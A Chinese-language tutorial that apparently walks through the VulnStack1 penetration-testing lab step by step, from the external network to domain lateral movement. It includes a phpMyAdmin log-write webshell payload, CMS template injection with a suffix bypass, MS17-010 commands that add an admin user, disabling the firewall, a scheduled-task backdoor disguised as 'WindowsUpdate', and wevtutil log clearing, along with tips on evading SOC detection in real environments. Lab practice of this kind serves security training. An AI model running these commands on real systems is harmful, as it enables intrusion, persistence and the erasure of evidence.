新手也能搞定的红日靶场vulnstack1实战:从外网打点到内网横向移动(附完整命令)
红日靶场VulnStack1渗透实战:从零构建内网攻防思维
第一次接触内网渗透时,我盯着拓扑图上的多级网络边界发愣——外网打点、横向移动、权限维持这些概念就像散落的拼图碎片。直到在VulnStack1靶场中亲手用蚁剑连接上webshell,才真正理解"跳板机"三个字的分量。本文将用厨房炒菜般的步骤分解,带你体验从外网突破到域控拿下的完整攻击链。
1. 环境配置与信息收集
1.1 靶场网络拓扑解析
红日安全团队设计的这个三层网络结构,完美复现了企业常见的安全防御层次:
| 主机角色 | IP地址范围 | 网络位置 | 关键服务 |
|---|---|---|---|
| 攻击机(Kali) | 192.168.200.0/24 | 外网 | Metasploit/CS |
| Web服务器(Win7) | 192.168.200.128 | DMZ区 | PHPStudy+ZZCMS |
| 域成员(Win2k3) | 192.168.52.138/24 | 内网生产域 | SMB/Telnet |
| 域控(Win2008) | 192.168.52.141/24 | 内网核心域 | Active Directory |
重要提示:实际环境中,Win7服务器通常作为跳板机存在,其双网卡特性使其成为连接内外网的关键节点。这也是为什么我们选择它作为横向移动的起点。
1.2 外网端口扫描实战
使用Nmap进行初步侦察时,建议新手采用分阶段扫描策略:
# 快速扫描常用端口 nmap -T4 -F 192.168.200.128 # 深度扫描全端口(需时较长) nmap -p- -sV -O 192.168.200.128当发现3306端口开放时,可以立即联想到几种可能性:
- MySQL弱口令
- phpMyAdmin未授权访问
- 数据库注入漏洞
典型误操作:在一次测试中,我直接对phpMyAdmin使用admin/admin组合爆破,触发了IP封锁机制。后来改用低频次尝试才成功登录。
2. Web服务突破技巧
2.1 phpMyAdmin日志注入详解
通过phpMyAdmin获取Webshell的操作看似简单,但有几个关键点常被忽略:
- 确认日志文件路径是否在Web目录下
- 检查
secure_file_priv参数是否允许文件写入 - 确保Web服务账户对目标目录有写权限
具体操作流程:
-- 查看当前日志配置 SHOW VARIABLES LIKE '%general%'; -- 开启日志记录并指定路径 SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = 'C:/phpStudy/WWW/cmd.php'; -- 写入PHP代码 SELECT '<?php system($_GET["cmd"]); ?>';避坑指南:遇到写入失败时,可以尝试修改路径为C:\\phpStudy\\WWW\\cmd.php(双反斜杠)或使用/代替\。
2.2 CMS后台突破的多维思路
对于ZZCMS这类系统,除了常规的后台弱口令尝试,还有几种备选方案:
- 模板注入:通过编辑模板文件插入恶意代码
- 插件上传:制作包含后门的插件包
- 数据库备份:修改备份文件中的表内容
- 缓存写入:利用缓存机制写入Webshell
其中模板注入的具体步骤:
- 后台找到"模板管理"-"编辑模板"
- 新建
.php文件并插入代码 - 访问
/template/新建文件名.php执行
注意:现代CMS通常会限制模板文件后缀,此时可尝试
.php.jpg等混合后缀,利用解析漏洞绕过。
3. 内网横向移动实战
3.1 代理通道搭建与使用
Metasploit的socks_proxy模块是内网穿透的瑞士军刀:
use auxiliary/server/socks_proxy set VERSION 4a # 使用socks4a协议兼容性更好 set SRVPORT 1080 run配置Proxychains时,建议修改/etc/proxychains4.conf:
[ProxyList] socks4 127.0.0.1 1080性能优化:当网络延迟较高时,可以添加quiet_mode选项减少冗余输出:
proxychains -q nmap -sT -Pn 192.168.52.0/243.2 横向移动的多种武器
根据内网环境不同,可以选择以下几种攻击方式:
| 攻击方式 | 适用场景 | 所需条件 | 成功率 |
|---|---|---|---|
| MS17-010 | 未打补丁的Windows系统 | 445端口开放 | 高 |
| SMB爆破 | 弱口令策略 | 管理员权限凭证 | 中 |
| WMI执行 | 域环境 | 域用户权限 | 高 |
| 计划任务 | 防火墙限制较少 | 管理员权限 | 中 |
使用MS17-010进行横向移动时,这个模块比默认的exploit更稳定:
use auxiliary/admin/smb/ms17_010_command set COMMAND net user hacker P@ssw0rd /add set RHOSTS 192.168.52.138-141 run血泪教训:在一次测试中,由于没关闭目标防火墙,导致所有MS17-010攻击失败。后来发现需要先执行:
netsh advfirewall set allprofiles state off4. 权限维持与痕迹清理
4.1 隐蔽后门部署方案
在域环境中,以下几种后门方式较为隐蔽:
- 计划任务:设置每分钟执行的隐藏任务
- 服务注入:创建伪装成系统服务的后门
- 启动项:利用注册表或启动文件夹
- WMI事件:响应特定系统事件触发
创建计划任务的PowerShell命令:
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\backdoor.exe" $trigger = New-ScheduledTaskTrigger -AtLogOn -User "NT AUTHORITY\SYSTEM" Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -Force4.2 日志清理实操指南
Windows事件日志清理的几种方式对比:
| 方法 | 优点 | 缺点 |
|---|---|---|
| wevtutil cl | 系统自带工具 | 需要管理员权限 |
| 手动删除.evt文件 | 彻底清除 | 可能引起系统异常 |
| 日志过滤器 | 隐蔽性强 | 配置复杂 |
| 全量日志禁用 | 一劳永逸 | 容易被安全设备发现 |
推荐使用wevtutil进行选择性清理:
:: 清理安全日志 wevtutil cl Security :: 清理系统日志 wevtutil cl System :: 清理应用日志 wevtutil cl Application在真实环境中,我更喜欢使用事件查看器手动删除特定时间段的日志,这样更不易触发告警。记得有一次清理太彻底,反而引起了SOC团队的注意——适度的"脏数据"保留有时是最好的伪装。
